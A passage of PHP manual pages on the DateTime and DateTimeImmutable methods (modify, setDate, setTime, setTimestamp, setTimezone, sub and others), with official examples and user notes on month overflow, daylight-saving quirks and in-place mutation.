DateTime date_modify ( DateTime $object , string $modify )

Alter the timestamp of a DateTime object by incrementing or decrementing in a format accepted by strtotime().

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

modify

A date/time string. Valid formats are explained in Date and Time Formats.

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Changelog

Version | Description
5.3.6 | Absolute date/time statements now take effect. Previously, only relative parts were used.
5.3.0 | Changed the return value on success from NULL to DateTime.

Examples

Example #1 DateTime::modify() example

Object oriented style

<?php
$date = new DateTime('2006-12-12');
$date->modify('+1 day');
echo $date->format('Y-m-d');
?>

Procedural style

<?php
$date = date_create('2006-12-12');
date_modify($date, '+1 day');
echo date_format($date, 'Y-m-d');
?>

The above examples will output:

2006-12-13

Example #2 Beware when adding or subtracting months

<?php
$date = new DateTime('2000-12-31');

$date->modify('+1 month');
echo $date->format('Y-m-d') . "\n";

$date->modify('+1 month');
echo $date->format('Y-m-d') . "\n";
?>

The above example will output:

2001-01-31
2001-03-03

See Also

  • strtotime() - Parse about any English textual datetime description into a Unix timestamp
  • DateTime::add() - Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object
  • DateTime::sub() - Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object
  • DateTime::setDate() - Sets the date
  • DateTime::setISODate() - Sets the ISO date
  • DateTime::setTime() - Sets the time
  • DateTime::setTimestamp() - Sets the date and time based on an Unix timestamp

User Contributed Notes

66Ton99 14-May-2014 12:31
Extension for DateTime class which solves problem of adding or subtracting months

https://gist.github.com/66Ton99/60571ee49bf1906aaa1c
admin at wmfoi dot com dot br 09-Apr-2014 05:22
The changelog says: "5.3.0 - Changed the return value on success from NULL to DateTime".

That means that you can't do a Fluid Interface design with it in PHP 5.2.

In other words, this will not work in 5.2:

<?php
$DateTime=new DateTime();
echo $DateTime->modify('+1 day')->format('d');
?>
jay dot removethis at grooveshark dot com 29-Oct-2013 02:46
Due to DST and the way DateTime internally handles dates, it's possible to get stuck in a time loop.

For example:

<?php
$dt = new DateTime('2012-03-11 3:00AM');
echo $dt->format('YmdH') . "\n";
$dt->modify("-1 hour");
echo $dt->format('YmdH') . "\n";
$dt->modify("-1 hour");
echo $dt->format('YmdH') . "\n";
?>

prints out:

2012031103
2012031103
2012031103

if your timezone is set to America/New_York.
php at lanar dot com dot au 26-Oct-2013 03:50
modify() ignores any timezone information in the data while the DateTime constructor does not.

$dt = new DateTime( '2013-10-26T11:00:00+11:00' )
will create a +11 timezone while
$dt->modify( '2013-10-26T11:00:00+02:00' )
does not change the timezone or the time.

<?php
$dt = new DateTime( '2013-10-26T15:00:00Australia/Melbourne' ) ;
echo "\n", $dt->format( "c" ) ;
echo "\nTimezone '", $dt->getTimezone()->getName() . "'." ;
// modify $dt to 1 am new york which is 3 pm melbourne
$dt->modify( '2013-10-26T01:00:00America/New_York' ) ;
// result is 1 am melbourne time, not 3 pm
echo "\n", $dt->format( "c" ) ;
echo "\nTimezone '", $dt->getTimezone()->getName() . "'." ;
?>
Output
2013-10-26T15:00:00+11:00
Timezone 'Australia/Melbourne'.
2013-10-26T01:00:00+11:00
Timezone 'Australia/Melbourne'.
Jenny jsimonds@atomic jet packs dot com 16-Apr-2012 06:04
Note: This method modifies the object in-place. So if you want to calculate a new date but assign the new value to a different object, this will NOT work:

<?php
$numMinutes = 25;
$oDateA = new DateTime('2012-01-01 12:00:00');

print "
Original:<br>
oDateA =  {$oDateA->format('Y-m-d H-i-s')}<br>
";

$oDateB = $oDateA->modify ("+{$numMinutes} minutes");

print "
plus {$numMinutes} minutes:<br>
oDateA =  {$oDateA->format('Y-m-d H-i-s')}<br>
oDateB =  {$oDateB->format('Y-m-d H-i-s')}<br>
";
?>
...produces this:
oDateA = 2012-01-01 12-00-00
plus 25 minutes:
oDateA = 2012-01-01 12-25-00
oDateB = 2012-01-01 12-25-00

Use something like this instead:
<?php
$numMinutes = 25;
$oDateA = new DateTime('2012-01-01 12:00:00');

print "
<p>
Original:<br>
oDateA =  {$oDateA->format('Y-m-d H-i-s')}<br>
";

$oDateB = clone $oDateA;
$oDateB->modify ("+{$numMinutes} minutes");

print "
plus {$numMinutes} minutes:<br>
oDateA =  {$oDateA->format('Y-m-d H-i-s')}<br>
oDateB =  {$oDateB->format('Y-m-d H-i-s')}<br>
";
?>

... produces this:
oDateA = 2012-01-01 12-00-00
plus 25 minutes:
oDateA = 2012-01-01 12-00-00
oDateB = 2012-01-01 12-25-00
jenspj at msn dot com 20-Feb-2012 11:34
These functions makes sure that adding months or years always ends up in the month you would expect.  Works for positive and negative values

<?php

    $date=new DateTime();
    $date->setDate(2008,2,29);

    function addMonths($date,$months){

        $init=clone $date;
        $modifier=$months.' months';
        $back_modifier =-$months.' months';

        $date->modify($modifier);
        $back_to_init= clone $date;
        $back_to_init->modify($back_modifier);

        while($init->format('m')!=$back_to_init->format('m')){
        $date->modify('-1 day')    ;
        $back_to_init= clone $date;
        $back_to_init->modify($back_modifier);
        }

        /*
        if($months<0&&$date->format('m')>$init->format('m'))
        while($date->format('m')-12-$init->format('m')!=$months%12)
        $date->modify('-1 day');
        else
        if($months>0&&$date->format('m')<$init->format('m'))
        while($date->format('m')+12-$init->format('m')!=$months%12)
        $date->modify('-1 day');
        else
        while($date->format('m')-$init->format('m')!=$months%12)
        $date->modify('-1 day');
        */

    }

    function addYears($date,$years){

        $init=clone $date;
        $modifier=$years.' years';
        $date->modify($modifier);

        while($date->format('m')!=$init->format('m'))
        $date->modify('-1 day');

    }

    addMonths($date,-1);
     addYears($date,3);

    echo $date->format('F j,Y');

?>


The __set_state handler

  • « DateTime::modify
  • DateTime::setDate »
  • PHP Manual
  • DateTime
  • The __set_state handler

DateTime::__set_state

(PHP 5 >= 5.2.0)

DateTime::__set_state — The __set_state handler

Description

public static DateTime DateTime::__set_state ( array $array )

The __set_state() handler.

Parameters

array

Initialization array.

Return Values

Returns a new instance of a DateTime object.

User Contributed Notes

There are no user contributed notes for this page.


Sets the date

  • « DateTime::__set_state
  • DateTime::setISODate »
  • PHP Manual
  • DateTime
  • Sets the date

DateTime::setDate

date_date_set

(PHP 5 >= 5.2.0)

DateTime::setDate -- date_date_set — Sets the date

Description

Object oriented style

public DateTime DateTime::setDate ( int $year , int $month , int $day )

Procedural style

DateTime date_date_set ( DateTime $object , int $year , int $month , int $day )

Resets the current date of the DateTime object to a different date.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

year

Year of the date.

month

Month of the date.

day

Day of the date.

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Changelog

Version | Description
5.3.0 | Changed the return value on success from NULL to DateTime.

Examples

Example #1 DateTime::setDate() example

Object oriented style

<?php
$date = new DateTime();
$date->setDate(2001, 2, 3);
echo $date->format('Y-m-d');
?>

Procedural style

<?php
$date = date_create();
date_date_set($date, 2001, 2, 3);
echo date_format($date, 'Y-m-d');
?>

The above examples will output:

2001-02-03

Example #2 Values exceeding ranges are added to their parent values

<?php
$date = new DateTime();

$date->setDate(2001, 2, 28);
echo $date->format('Y-m-d') . "\n";

$date->setDate(2001, 2, 29);
echo $date->format('Y-m-d') . "\n";

$date->setDate(2001, 14, 3);
echo $date->format('Y-m-d') . "\n";
?>

The above example will output:

2001-02-28
2001-03-01
2002-02-03

See Also

  • DateTime::setISODate() - Sets the ISO date
  • DateTime::setTime() - Sets the time

User Contributed Notes

remy215 at laposte dot net 12-Jan-2012 07:59
Be warned, DateTime::setDate() does not check for invalid input.

Illustration:
<?php
$dt = new DateTime();
$dt->setDate(2012, 11, 31); // returns DateTime object and not false although this date does not exist
echo $dt->format('Y-m-d'); // output: 2012-12-01
?>

No error was generated on entering a non existing date, php silently changed it.


Sets the ISO date

  • « DateTime::setDate
  • DateTime::setTime »
  • PHP Manual
  • DateTime
  • Sets the ISO date

DateTime::setISODate

date_isodate_set

(PHP 5 >= 5.2.0)

DateTime::setISODate -- date_isodate_set — Sets the ISO date

Description

Object oriented style

public DateTime DateTime::setISODate ( int $year , int $week [, int $day = 1 ] )

Procedural style

DateTime date_isodate_set ( DateTime $object , int $year , int $week [, int $day = 1 ] )

Set a date according to the ISO 8601 standard - using weeks and day offsets rather than specific dates.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

year

Year of the date.

week

Week of the date.

day

Offset from the first day of the week.

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Changelog

Version | Description
5.3.0 | Changed the return value on success from NULL to DateTime.

Examples

Example #1 DateTime::setISODate() example

Object oriented style

<?php
$date = new DateTime();

$date->setISODate(2008, 2);
echo $date->format('Y-m-d') . "\n";

$date->setISODate(2008, 2, 7);
echo $date->format('Y-m-d') . "\n";
?>

Procedural style

<?php
$date = date_create();

date_isodate_set($date, 2008, 2);
echo date_format($date, 'Y-m-d') . "\n";

date_isodate_set($date, 2008, 2, 7);
echo date_format($date, 'Y-m-d') . "\n";
?>

The above examples will output:

2008-01-07
2008-01-13

Example #2 Values exceeding ranges are added to their parent values

<?php
$date = new DateTime();

$date->setISODate(2008, 2, 7);
echo $date->format('Y-m-d') . "\n";

$date->setISODate(2008, 2, 8);
echo $date->format('Y-m-d') . "\n";

$date->setISODate(2008, 53, 7);
echo $date->format('Y-m-d') . "\n";
?>

The above example will output:

2008-01-13
2008-01-14
2009-01-04

Example #3 Finding the month a week is in

<?php
$date = new DateTime();
$date->setISODate(2008, 14);
echo $date->format('n');
?>

The above examples will output:

3

See Also

  • DateTime::setDate() - Sets the date
  • DateTime::setTime() - Sets the time

User Contributed Notes

There are no user contributed notes for this page.


Sets the time

  • « DateTime::setISODate
  • DateTime::setTimestamp »
  • PHP Manual
  • DateTime
  • Sets the time

DateTime::setTime

date_time_set

(PHP 5 >= 5.2.0)

DateTime::setTime -- date_time_set — Sets the time

Description

Object oriented style

public DateTime DateTime::setTime ( int $hour , int $minute [, int $second = 0 ] )

Procedural style

DateTime date_time_set ( DateTime $object , int $hour , int $minute [, int $second = 0 ] )

Resets the current time of the DateTime object to a different time.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

hour

Hour of the time.

minute

Minute of the time.

second

Second of the time.

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Changelog

Version | Description
5.3.0 | Changed the return value on success from NULL to DateTime.

Examples

Example #1 DateTime::setTime() example

Object oriented style

<?php
$date = new DateTime('2001-01-01');

$date->setTime(14, 55);
echo $date->format('Y-m-d H:i:s') . "\n";

$date->setTime(14, 55, 24);
echo $date->format('Y-m-d H:i:s') . "\n";
?>

Procedural style

<?php
$date = date_create('2001-01-01');

date_time_set($date, 14, 55);
echo date_format($date, 'Y-m-d H:i:s') . "\n";

date_time_set($date, 14, 55, 24);
echo date_format($date, 'Y-m-d H:i:s') . "\n";
?>

The above examples will output something similar to:

2001-01-01 14:55:00
2001-01-01 14:55:24

Example #2 Values exceeding ranges are added to their parent values

<?php
$date = new DateTime('2001-01-01');

$date->setTime(14, 55, 24);
echo $date->format('Y-m-d H:i:s') . "\n";

$date->setTime(14, 55, 65);
echo $date->format('Y-m-d H:i:s') . "\n";

$date->setTime(14, 65, 24);
echo $date->format('Y-m-d H:i:s') . "\n";

$date->setTime(25, 55, 24);
echo $date->format('Y-m-d H:i:s') . "\n";
?>

The above example will output:

2001-01-01 14:55:24
2001-01-01 14:56:05
2001-01-01 15:05:24
2001-01-02 01:55:24

See Also

  • DateTime::setDate() - Sets the date
  • DateTime::setISODate() - Sets the ISO date

User Contributed Notes

There are no user contributed notes for this page.


Sets the date and time based on an Unix timestamp

  • « DateTime::setTime
  • DateTime::setTimezone »
  • PHP Manual
  • DateTime
  • Sets the date and time based on an Unix timestamp

DateTime::setTimestamp

date_timestamp_set

(PHP 5 >= 5.3.0)

DateTime::setTimestamp -- date_timestamp_set — Sets the date and time based on an Unix timestamp

Description

Object oriented style

public DateTime DateTime::setTimestamp ( int $unixtimestamp )

Procedural style

DateTime date_timestamp_set ( DateTime $object , int $unixtimestamp )

Sets the date and time based on an Unix timestamp.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

unixtimestamp

Unix timestamp representing the date.

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Examples

Example #1 DateTime::setTimestamp() example

Object oriented style

<?php
$date = new DateTime();
echo $date->format('U = Y-m-d H:i:s') . "\n";

$date->setTimestamp(1171502725);
echo $date->format('U = Y-m-d H:i:s') . "\n";
?>

Procedural style

<?php
$date = date_create();
echo date_format($date, 'U = Y-m-d H:i:s') . "\n";

date_timestamp_set($date, 1171502725);
echo date_format($date, 'U = Y-m-d H:i:s') . "\n";
?>

The above examples will output something similar to:

1272508903 = 2010-04-28 22:41:43
1171502725 = 2007-02-14 20:25:25

Notes

Using the Unix timestamp format to construct a new DateTime object is an alternative when using PHP 5.2, as shown in the example below.

Example #2 DateTime::setTimestamp() alternative in PHP 5.2

<?php
$ts = 1171502725;
$date = new DateTime("@$ts");
echo $date->format('U = Y-m-d H:i:s') . "\n";
?>

The above example will output something similar to:

1171502725 = 2007-02-14 20:25:25

See Also

  • DateTime::getTimestamp() - Gets the Unix timestamp

User Contributed Notes

Arnb 08-Aug-2013 09:35
When you need to manipulate a unix timestamp like field (seconds since 1970-01-01) that may be greater than the drop dead date of 2038-01-19.

<?php

function secs2date($secs,$date)
    {
    if ($secs>2147472000)    //2038-01-19 expire dt
        {
        $date->setTimestamp(2147472000);
        $s=$secs-2147472000;
        $date->add(new DateInterval('PT'.$s.'S'));
        }
    else
        $date->setTimestamp($secs);
    }

function date2secs($date,$datebeg)
    {
    $diff = $datebeg->diff($date);
    $secs=$diff->format('%a') * (60*60*24);  //total days
    $secs+=$diff->format('%h') * (60*60);     //hours
    $secs+=$diff->format('%i') * 60;              //minutes
    $secs+=$diff->format('%s');                     //seconds
    return $secs;
    }

$datebeg = new DateTime('1970-01-01');
$date=new dateTime();

$secs=2017472000;  //2033-12-06 08:53:20
secs2date($secs,$date);
$dt=$date->format('Y-m-d H:i:s');
echo $dt."<br>";
$sec2=date2secs($date,$datebeg);
echo '(1) ',$sec2,'***',$secs,'<br>';

$secs=2397472000; //2045-12-21 12:26:40
secs2date($secs,$date);
$dt=$date->format('Y-m-d H:i:s');
echo $dt."<br>";
$sec2=date2secs($date,$datebeg);
echo '(2) ',$sec2,'***',$secs,'<br>';
?>
linblow at hotmail dot fr 04-Apr-2011 09:40
If your PHP version is lower than 5.3 then you can use this class to be able to use the functions "setTimestamp" and "getTimestamp":

<?php

class MyDateTime extends DateTime
{
    public function setTimestamp( $timestamp )
    {
        $date = getdate( ( int ) $timestamp );
        $this->setDate( $date['year'] , $date['mon'] , $date['mday'] );
        $this->setTime( $date['hours'] , $date['minutes'] , $date['seconds'] );
    }

    public function getTimestamp()
    {
        return $this->format( 'U' );
    }
}

$date = new MyDateTime();
$date->setTimestamp( $someTimestamp );

echo $date->format( 'd/m/Y H:i:s' );

?>
Use Web Form at Aouie.net 10-Sep-2010 07:15
When the exact time is important then it is important to note the difference between this and the UnixTimeStamp. The function will change the timestamp if necessary to take into account the daylight savings time.
e.g. Working with the 'Europe/London' timezone and setting the DateTime object to a timestamp of 1288486753 will result in the function automatically altering it to 1288490353.
This is because it is taking the fall time instead of the summer time (they will both be Sun, 31-Oct-2010 01:X:Y (I didn't check the hour and minute)).
Sincerely,
Aouie


Sets the time zone for the DateTime object

  • « DateTime::setTimestamp
  • DateTime::sub »
  • PHP Manual
  • DateTime
  • Sets the time zone for the DateTime object

DateTime::setTimezone

date_timezone_set

(PHP 5 >= 5.2.0)

DateTime::setTimezone -- date_timezone_set — Sets the time zone for the DateTime object

Description

Object oriented style

public DateTime DateTime::setTimezone ( DateTimeZone $timezone )

Procedural style

DateTime date_timezone_set ( DateTime $object , DateTimeZone $timezone )

Sets a new timezone for a DateTime object.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

timezone

A DateTimeZone object representing the desired time zone.

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Changelog

Version | Description
5.3.0 | Changed the return value on success from NULL to DateTime.

Examples

Example #1 DateTime::setTimeZone() example

Object oriented style

<?php
$date = new DateTime('2000-01-01', new DateTimeZone('Pacific/Nauru'));
echo $date->format('Y-m-d H:i:sP') . "\n";

$date->setTimezone(new DateTimeZone('Pacific/Chatham'));
echo $date->format('Y-m-d H:i:sP') . "\n";
?>

Procedural style

<?php
$date = date_create('2000-01-01', timezone_open('Pacific/Nauru'));
echo date_format($date, 'Y-m-d H:i:sP') . "\n";

date_timezone_set($date, timezone_open('Pacific/Chatham'));
echo date_format($date, 'Y-m-d H:i:sP') . "\n";
?>

The above examples will output:

2000-01-01 00:00:00+12:00
2000-01-01 01:45:00+13:45

See Also

  • DateTime::getTimezone() - Return time zone relative to given DateTime
  • DateTimeZone::__construct() - Creates new DateTimeZone object

User Contributed Notes

forzi at mail333 dot com 01-Oct-2014 12:02
<?php
$MNTTZ = new DateTimeZone('America/Denver');
$ESTTZ = new DateTimeZone('America/New_York');

$dt = new DateTime('11/24/2009 2:00 pm', $MNTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));
$dt->setTimezone($ESTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));
?>
doesn't changes timestamp
But
<?php
$MNTTZ = new DateTimeZone('America/Denver');
$ESTTZ = new DateTimeZone('-0500');

$dt = new DateTime('11/24/2009 2:00 pm', $MNTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));
$dt->setTimezone($ESTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));
?>
changes timestamp

It is possible to fix that by:
<?php
$timestamp = $date->getTimestamp();
$date->setTimezone($value);
$date->setTimestamp($timestamp);
?>
But WTF???
salladin 08-May-2012 10:59
I found unexpected behaviour when passing a timestamp.
timezone seems to always be GMT+0000 unless setTimezone() is set.

<?php

$MNTTZ = new DateTimeZone('America/Denver');
$ts = 1336476757;

$dt = new DateTime("@$ts", $MNTTZ);
var_dump($dt->format('T'), $dt->format('U'));

$dt->setTimezone($MNTTZ);
var_dump($dt->format('T'), $dt->format('U'));

/** Output:
string(8) "GMT+0000"
string(10) "1336476757"
string(3) "MDT"
string(10) "1336476757"
**/

?>
keithm at aoeex dot com 25-Nov-2009 12:13
The timestamp value represented by the DateTime object is not modified when you set the timezone using this method.  Only the timezone, and thus the resulting display formatting, is affected.

This can be seen using the following test code:
<?php
$MNTTZ = new DateTimeZone('America/Denver');
$ESTTZ = new DateTimeZone('America/New_York');

$dt = new DateTime('11/24/2009 2:00 pm', $MNTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));
$dt->setTimezone($ESTTZ);
var_dump($dt->format(DATE_RFC822), $dt->format('U'));

/** Output:
string(29) "Tue, 24 Nov 09 14:00:00 -0700"
string(10) "1259096400"
string(29) "Tue, 24 Nov 09 16:00:00 -0500"
string(10) "1259096400"
**/
?>

As such, you can use this to easily convert between timezones for display purposes.


Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object

  • « DateTime::setTimezone
  • DateTimeImmutable »
  • PHP Manual
  • DateTime
  • Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object

DateTime::sub

date_sub

(PHP 5 >= 5.3.0)

DateTime::sub -- date_sub — Subtracts an amount of days, months, years, hours, minutes and seconds from a DateTime object

Description

Object oriented style

public DateTime DateTime::sub ( DateInterval $interval )

Procedural style

DateTime date_sub ( DateTime $object , DateInterval $interval )

Subtracts the specified DateInterval object from the specified DateTime object.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

interval

A DateInterval object

Return Values

Returns the DateTime object for method chaining or FALSE on failure.

Examples

Example #1 DateTime::sub() example

Object oriented style

<?php
$date = new DateTime('2000-01-20');
$date->sub(new DateInterval('P10D'));
echo $date->format('Y-m-d') . "\n";
?>

Procedural style

<?php
$date = date_create('2000-01-20');
date_sub($date, date_interval_create_from_date_string('10 days'));
echo date_format($date, 'Y-m-d');
?>

The above examples will output:

2000-01-10

Example #2 Further DateTime::sub() examples

<?php
$date = new DateTime('2000-01-20');
$date->sub(new DateInterval('PT10H30S'));
echo $date->format('Y-m-d H:i:s') . "\n";

$date = new DateTime('2000-01-20');
$date->sub(new DateInterval('P7Y5M4DT4H3M2S'));
echo $date->format('Y-m-d H:i:s') . "\n";
?>

The above example will output:

2000-01-19 13:59:30
1992-08-15 19:56:58

Example #3 Beware when subtracting months

<?php
$date = new DateTime('2001-04-30');
$interval = new DateInterval('P1M');

$date->sub($interval);
echo $date->format('Y-m-d') . "\n";

$date->sub($interval);
echo $date->format('Y-m-d') . "\n";
?>

The above example will output:

2001-03-30
2001-03-02

Notes

DateTime::modify() is an alternative when using PHP 5.2.

See Also

  • DateTime::add() - Adds an amount of days, months, years, hours, minutes and seconds to a DateTime object
  • DateTime::diff() - Returns the difference between two DateTime objects
  • DateTime::modify() - Alters the timestamp

User Contributed Notes

itonohito 06-Apr-2014 04:25
When trying to pass daylight saving state change time, sub() works incorrectly.

$t = new DateTime( '2014-03-30 02:00:00' );
$t->add( new DateInterval('PT1H') );
echo $->format('Y-m-d H:i:s');

output will be: '2014-03-30 04:00:00'.

 Well, it's ok because at 3:00 a.m. daylight saving time begins in my country, so after  02:59:59 must be 04:00:00.

But if I try to subtract time:

$t = new DateTime( '2014-03-30 04:00:00' );
$t->sub( new DateInterval('PT1H') );
echo $->format('Y-m-d H:i:s');

output will be: '2014-03-30 04:00:00'.

Yes, completely the same, not '2014-03-30 02:00:00' as it should be.
Anonymous 01-Feb-2011 11:15
Note that the sub() and add() methods will modify the value of the object you're calling the method on! This is very untypical for a method that returns a value of its own type. You could misunderstand it that the method would return a new instance with the modified value, but in fact it modifies itself! This is undocumented here. (Only a side note on procedural style mentions it, but it obviously does not apply to object oriented style.)
php at keith tyler dot com 01-Dec-2010 03:53
If you use diff() after sub(), the effects of the sub() will be repeated on the date object.

It doesn't matter if the object is the one diffed or doing the diffing (i.e. which object you call diff() from).

<?php
$today = new DateTime();
$newdate = new DateTime();

print_r($newdate);
$newdate->sub(new DateInterval("PT1S"));
print_r($newdate);
$s = $newdate->diff($today);
print_r($newdate);
$s = $today->diff($newdate);
print_r($newdate);
$s = $today->diff($newdate);
print_r($newdate);
?>

Prints:

DateTime Object
(
    [date] => 2010-11-30 18:43:48
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)
DateTime Object
(
    [date] => 2010-11-30 18:43:47
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)
DateTime Object
(
    [date] => 2010-11-30 18:43:46
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)
DateTime Object
(
    [date] => 2010-11-30 18:43:45
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)
DateTime Object
(
    [date] => 2010-11-30 18:43:44
    [timezone_type] => 3
    [timezone] => America/Los_Angeles
)

Note that using add() instead of sub() does NOT have the same effect.

This is particularly undesirable -- in this example you make a datetime, use sub() to make it a relative time in the past, and then date->diff() to confirm the difference. But the diff() inadvertendly makes the difference 2x.


The DateTimeImmutable class

(PHP 5 >= 5.5.0)

Introduction

This class behaves the same as DateTime except it never modifies itself but returns a new object instead.

Class synopsis

DateTimeImmutable implements DateTimeInterface {
/* Methods */
public __construct ([ string $time = "now" [, DateTimeZone $timezone = NULL ]] )
public DateTimeImmutable add ( DateInterval $interval )
public static DateTimeImmutable createFromFormat ( string $format , string $time [, DateTimeZone $timezone ] )
public static DateTimeImmutable createFromMutable ( DateTime $datetime )
public static array getLastErrors ( void )
public DateTimeImmutable modify ( string $modify )
public static DateTimeImmutable __set_state ( array $array )
public DateTimeImmutable setDate ( int $year , int $month , int $day )
public DateTimeImmutable setISODate ( int $year , int $week [, int $day = 1 ] )
public DateTimeImmutable setTime ( int $hour , int $minute [, int $second = 0 ] )
public DateTimeImmutable setTimestamp ( int $unixtimestamp )
public DateTimeImmutable setTimezone ( DateTimeZone $timezone )
public DateTimeImmutable sub ( DateInterval $interval )
public DateInterval diff ( DateTimeInterface $datetime2 [, bool $absolute = false ] )
public string format ( string $format )
public int getOffset ( void )
public int getTimestamp ( void )
public DateTimeZone getTimezone ( void )
public __wakeup ( void )
}

Table of Contents

  • DateTimeImmutable::add — Adds an amount of days, months, years, hours, minutes and seconds
  • DateTimeImmutable::__construct — Returns new DateTimeImmutable object
  • DateTimeImmutable::createFromFormat — Returns new DateTimeImmutable object formatted according to the specified format
  • DateTimeImmutable::createFromMutable — Returns new DateTimeImmutable object encapsulating the given DateTime object
  • DateTimeImmutable::getLastErrors — Returns the warnings and errors
  • DateTimeImmutable::modify — Creates a new object with modified timestamp
  • DateTimeImmutable::__set_state — The __set_state handler
  • DateTimeImmutable::setDate — Sets the date
  • DateTimeImmutable::setISODate — Sets the ISO date
  • DateTimeImmutable::setTime — Sets the time
  • DateTimeImmutable::setTimestamp — Sets the date and time based on an Unix timestamp
  • DateTimeImmutable::setTimezone — Sets the time zone
  • DateTimeImmutable::sub — Subtracts an amount of days, months, years, hours, minutes and seconds

User Contributed Notes

There are no user contributed notes for this page.


Adds an amount of days, months, years, hours, minutes and seconds

  • « DateTimeImmutable
  • DateTimeImmutable::__construct »
  • PHP Manual
  • DateTimeImmutable
  • Adds an amount of days, months, years, hours, minutes and seconds

DateTimeImmutable::add

(PHP 5 >= 5.5.0)

DateTimeImmutable::add — Adds an amount of days, months, years, hours, minutes and seconds

Description

public DateTimeImmutable DateTimeImmutable::add ( DateInterval $interval )

Like DateTime::add() but works with DateTimeImmutable.

User Contributed Notes

There are no user contributed notes for this page.


Returns new DateTimeImmutable object

  • « DateTimeImmutable::add
  • DateTimeImmutable::createFromFormat »
  • PHP Manual
  • DateTimeImmutable
  • Returns new DateTimeImmutable object

DateTimeImmutable::__construct

date_create_immutable

(PHP 5 >= 5.5.0)

DateTimeImmutable::__construct -- date_create_immutable — Returns new DateTimeImmutable object

Description

Object oriented style

public DateTimeImmutable::__construct ([ string $time = "now" [, DateTimeZone $timezone = NULL ]] )

Procedural style

DateTimeImmutable date_create_immutable ([ string $time = "now" [, DateTimeZone $timezone = NULL ]] )

Like DateTime::__construct() but works with DateTimeImmutable.

User Contributed Notes

There are no user contributed notes for this page.


Returns new DateTimeImmutable object formatted according to the specified format

  • « DateTimeImmutable::__construct
  • DateTimeImmutable::createFromMutable »
  • PHP Manual
  • DateTimeImmutable
  • Returns new DateTimeImmutable object formatted according to the specified format

DateTimeImmutable::createFromFormat

date_create_immutable_from_format

(PHP 5 >= 5.5.0)

DateTimeImmutable::createFromFormat -- date_create_immutable_from_format — Returns new DateTimeImmutable object formatted according to the specified format

Description

Object oriented style

public static DateTimeImmutable DateTimeImmutable::createFromFormat ( string $format , string $time [, DateTimeZone $timezone ] )

Procedural style

DateTimeImmutable date_create_immutable_from_format ( string $format , string $time [, DateTimeZone $timezone ] )

Like DateTime::createFromFormat() but works with DateTimeImmutable.

User Contributed Notes

There are no user contributed notes for this page.


Returns new DateTimeImmutable object encapsulating the given DateTime object

  • « DateTimeImmutable::createFromFormat
  • DateTimeImmutable::getLastErrors »
  • PHP Manual
  • DateTimeImmutable
  • Returns new DateTimeImmutable object encapsulating the given DateTime object

DateTimeImmutable::createFromMutable

(PHP 5 >= 5.6.0)

DateTimeImmutable::createFromMutable — Returns new DateTimeImmutable object encapsulating the given DateTime object

Description

public static DateTimeImmutable DateTimeImmutable::createFromMutable ( DateTime $datetime )

Parameters

datetime

The mutable DateTime object that you want to convert to an immutable version. This object is not modified, but instead a new DateTimeImmutable object is created containing the same date time and timezone information.

Examples

Example #1 Creating an immutable date time object

<?php
$date = new DateTime("2014-06-20 11:45 Europe/London");

$immutable = DateTimeImmutable::createFromMutable( $date );
?>

Return Values

Returns a new DateTimeImmutable instance.

User Contributed Notes

There are no user contributed notes for this page.


Returns the warnings and errors

  • « DateTimeImmutable::createFromMutable
  • DateTimeImmutable::modify »
  • PHP Manual
  • DateTimeImmutable
  • Returns the warnings and errors

DateTimeImmutable::getLastErrors

(PHP 5 >= 5.5.0)

DateTimeImmutable::getLastErrors — Returns the warnings and errors

Description

public static array DateTimeImmutable::getLastErrors ( void )

Like DateTime::getLastErrors() but works with DateTimeImmutable.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new object with modified timestamp

  • « DateTimeImmutable::getLastErrors
  • DateTimeImmutable::__set_state »
  • PHP Manual
  • DateTimeImmutable
  • Creates a new object with modified timestamp

DateTimeImmutable::modify

(PHP 5 >= 5.5.0)

DateTimeImmutable::modify — Creates a new object with modified timestamp

Description

public DateTimeImmutable DateTimeImmutable::modify ( string $modify )

Creates a new DateTimeImmutable object with modified timestamp. The original object is not modified.

Parameters

object

Procedural style only: A DateTime object returned by date_create(). The function modifies this object.

modify

A date/time string. Valid formats are explained in Date and Time Formats.

Return Values

Returns the newly created object or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


The __set_state handler

  • « DateTimeImmutable::modify
  • DateTimeImmutable::setDate »
  • PHP Manual
  • DateTimeImmutable
  • The __set_state handler

DateTimeImmutable::__set_state

(PHP 5 >= 5.5.0)

DateTimeImmutable::__set_state — The __set_state handler

Description

public static DateTimeImmutable DateTimeImmutable::__set_state ( array $array )

Like DateTime::__set_state() but works with DateTimeImmutable.

User Contributed Notes

There are no user contributed notes for this page.


Sets the date

  • « DateTimeImmutable::__set_state
  • DateTimeImmutable::setISODate »
  • PHP Manual
  • DateTimeImmutable
  • Sets the date

DateTimeImmutable::setDate

(PHP 5 >= 5.5.0)

DateTimeImmutable::setDate — Sets the date

Description

public DateTimeImmutable DateTimeImmutable::setDate ( int $year , int $month , int $day )

Like DateTime::setDate() but works with DateTimeImmutable.

User Contributed Notes

There are no user contributed notes for this page.


Sets the ISO date

  • « DateTimeImmutable::setDate
